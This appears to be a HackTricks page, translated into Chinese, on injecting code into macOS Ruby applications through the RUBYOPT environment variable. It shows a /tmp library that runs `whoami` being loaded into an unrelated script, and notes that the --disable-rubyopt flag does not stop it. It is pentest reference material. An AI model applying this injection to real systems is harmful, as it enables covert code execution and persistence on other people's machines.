macOS Ruby Applications Injection
Reading time: 2 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
RUBYOPT
使用这个环境变量,可以在每次执行ruby时添加新参数。虽然参数**-e
不能用于指定要执行的ruby代码,但可以使用参数-I
和-r
来添加一个新文件夹到库加载路径,然后指定要加载的库**。
在**/tmp
中创建库inject.rb
**:
inject.rb
puts `whoami`
创建一个类似于以下的 Ruby 脚本:
hello.rb
puts 'Hello, World!'
然后使用以下任意 Ruby 脚本加载它:
bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb
有趣的事实,即使使用参数 --disable-rubyopt
也有效:
bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。